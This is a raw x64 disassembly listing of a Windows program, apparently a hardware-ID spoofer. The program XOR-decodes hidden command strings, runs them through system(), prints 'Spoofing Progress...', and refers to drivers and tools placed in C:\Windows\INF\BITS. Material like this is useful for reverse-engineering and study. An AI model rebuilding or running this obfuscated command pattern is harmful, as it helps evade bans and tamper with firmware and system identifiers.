movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x29
jl 0x14000c4b0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
lea rax, [rbp - 0x51]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000c500
lea rdx, [rbp - 0x51]
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str.Spoofing_Progress...
lea rcx, [rsp + 0x40]
call fcn.140002280
mov word [rsp + 0x30], bx
mov word [rsp + 0x32], di
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r15w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r12w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov r8, qword [rbp - 0x71]
cmp r8, 0xf
jbe 0x14000c5c1
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x40]
call fcn.1400056f0
movups xmm0, xmmword [0x1400aa7c0]
movups xmmword [rbp - 0x51], xmm0
movups xmm1, xmmword [0x1400aa7d0]
movups xmmword [rbp - 0x41], xmm1
movzx eax, byte [0x1400aa7e0]
mov byte [rbp - 0x31], al
mov r8d, ebx
cmp r14d, 2
jl 0x14000c6f3
movdqa xmmword [rsp + 0x30], xmm10
lea rcx, [rbp - 0x4d]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14000c600
cmp r8d, 0x21
jge 0x14000c733
movsxd rax, r8d
lea r9, [rbp - 0x51]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x14000c700
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
lea rax, [rbp - 0x51]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000c750
lea rdx, [rbp - 0x51]
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str.Spoofing_Progress...
lea rcx, [rsp + 0x40]
call fcn.140002280
lea eax, [rdi + 1]
add edi, 2
mov word [rsp + 0x30], bx
mov word [rsp + 0x32], ax
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r15w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r12w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov r8, qword [rbp - 0x71]
cmp r8, 0xf
jbe 0x14000c817
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x40]
call fcn.1400056f0
movups xmm0, xmmword [0x1400aa7e8]
movups xmmword [rbp - 0x51], xmm0
movups xmm1, xmmword [0x1400aa7f8]
movups xmmword [rbp - 0x41], xmm1
mov eax, dword [0x1400aa808]
mov dword [rbp - 0x31], eax
movzx eax, word [0x1400aa80c]
mov word [rbp - 0x2d], ax
mov r8d, ebx
cmp r14d, 2
jl 0x14000c953
movdqa xmmword [rsp + 0x30], xmm10
lea rcx, [rbp - 0x4d]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14000c860
cmp r8d, 0x26
jge 0x14000c993
movsxd rax, r8d
lea r9, [rbp - 0x51]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x26
jl 0x14000c960
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
lea rax, [rbp - 0x51]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000c9b0
lea rdx, [rbp - 0x51]
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str.Spoofing_Progress...
lea rcx, [rsp + 0x40]
call fcn.140002280
mov word [rsp + 0x30], bx
mov word [rsp + 0x32], di
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r15w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r12w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov r8, qword [rbp - 0x71]
cmp r8, 0xf
jbe 0x14000ca71
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x40]
call fcn.1400056f0
movups xmm0, xmmword [0x1400aa810]
movups xmmword [rbp - 0x51], xmm0
movups xmm1, xmmword [0x1400aa820]
movups xmmword [rbp - 0x41], xmm1
mov eax, dword [0x1400aa830]
mov dword [rbp - 0x31], eax
movzx eax, byte [0x1400aa834]
mov byte [rbp - 0x2d], al
mov r8d, ebx
cmp r14d, 2
jl 0x14000cbb3
movdqa xmmword [rsp + 0x30], xmm10
lea rcx, [rbp - 0x4d]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14000cac0
cmp r8d, 0x25
jge 0x14000cbf3
movsxd rax, r8d
lea r9, [rbp - 0x51]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x25
jl 0x14000cbc0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
lea rax, [rbp - 0x51]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000cc10
lea rdx, [rbp - 0x51]
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str.Spoofing_Progress...
lea rcx, [rsp + 0x40]
call fcn.140002280
lea eax, [rdi + 1]
add edi, 2
mov word [rsp + 0x30], bx
mov word [rsp + 0x32], ax
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r15w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r12w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov r8, qword [rbp - 0x71]
cmp r8, 0xf
jbe 0x14000ccd7
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x40]
call fcn.1400056f0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, reloc.WLDAP32.dll_Ordinal_35
lea rdx, str.C:WindowsINFBITS_amigendrv64.sys
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str.Spoofing_Progress...
lea rcx, [rsp + 0x40]
call fcn.140002280
mov word [rsp + 0x30], bx
mov word [rsp + 0x32], di
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r15w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r12w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [rsp + 0x40]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, reloc.WLDAP32.dll_Ordinal_32
lea rdx, str.C:WindowsINFBITS_all_moth.bat
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str.Spoofing_Progress...
lea rcx, [rsp + 0x40]
call fcn.140002280
lea eax, [rdi + 1]
add edi, 2
mov word [rsp + 0x30], bx
mov word [rsp + 0x32], ax
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r15w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r12w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [rsp + 0x40]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, Ordinal_35
lea rdx, str.C:WindowsINFBITS_amifldrv64.sys
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str.Spoofing_Progress...
lea rcx, [rsp + 0x40]
call fcn.140002280
mov word [rsp + 0x30], bx
mov word [rsp + 0x32], di
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r15w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r12w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [rsp + 0x40]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, Ordinal_33
lea rdx, str.C:WindowsINFBITS_azeroxd.EXE
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str.Spoofing_Progress...
lea rcx, [rsp + 0x40]
call fcn.140002280
lea eax, [rdi + 1]
add edi, 2
mov word [rsp + 0x30], bx
mov word [rsp + 0x32], ax
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r15w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r12w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [rsp + 0x40]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, reloc.WLDAP32.dll_Ordinal_32
lea rdx, str.C:WindowsINFBITSVolumeid.exe
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str.Spoofing_Progress...
lea rcx, [rsp + 0x40]
call fcn.140002280
mov word [rsp + 0x30], bx
mov word [rsp + 0x32], di
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r15w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r12w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [rsp + 0x40]
call fcn.140004750
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x71], rbx
mov r8d, Ordinal_35
lea rdx, str.C:WindowsINFBITS_amifldrv64.sys
lea rcx, [rsp + 0x40]
call fcn.140002280
lea rcx, [rsp + 0x40]
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str.Spoofing_Progress...
lea rcx, [rsp + 0x40]
call fcn.140002280
lea eax, [rdi + 1]
add edi, 2
mov word [rsp + 0x30], bx
mov word [rsp + 0x32], ax
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r15w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r12w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [rsp + 0x40]
call fcn.140004750
movups xmm0, xmmword [0x1400aa838]
movups xmmword [rbp - 0x51], xmm0
movups xmm1, xmmword [0x1400aa848]
movups xmmword [rbp - 0x41], xmm1
mov eax, dword [0x1400aa858]
mov dword [rbp - 0x31], eax
movzx eax, word [0x1400aa85c]
mov word [rbp - 0x2d], ax
mov r8d, ebx
cmp r14d, 2
jl 0x14000d2b3
movdqa xmmword [rsp + 0x30], xmm10
lea rcx, [rbp - 0x4d]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14000d1c0
cmp r8d, 0x26
jge 0x14000d2f3
movsxd rax, r8d
lea r9, [rbp - 0x51]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x26
jl 0x14000d2c0
lea rcx, [rbp - 0x51]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str.Spoofing_Progress...
lea rcx, [rsp + 0x40]
call fcn.140002280
mov word [rsp + 0x30], bx
mov word [rsp + 0x32], di
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r15w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r12w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [rsp + 0x40]
call fcn.140004750
movups xmm0, xmmword [0x1400aa860]
movups xmmword [rbp - 0x51], xmm0
movups xmm1, xmmword [0x1400aa870]
movups xmmword [rbp - 0x41], xmm1
mov eax, dword [0x1400aa880]
mov dword [rbp - 0x31], eax
movzx eax, word [0x1400aa884]
mov word [rbp - 0x2d], ax
mov r8d, ebx
cmp r14d, 2
jl 0x14000d4d3
movdqa xmmword [rsp + 0x30], xmm10
lea rcx, [rbp - 0x4d]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14000d3e0
cmp r8d, 0x26
jge 0x14000d513
movsxd rax, r8d
lea r9, [rbp - 0x51]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x26
jl 0x14000d4e0
lea rcx, [rbp - 0x51]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str.Spoofing_Progress...
lea rcx, [rsp + 0x40]
call fcn.140002280
lea eax, [rdi + 1]
add edi, 2
mov word [rsp + 0x30], bx
mov word [rsp + 0x32], ax
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, 0xfffffff5
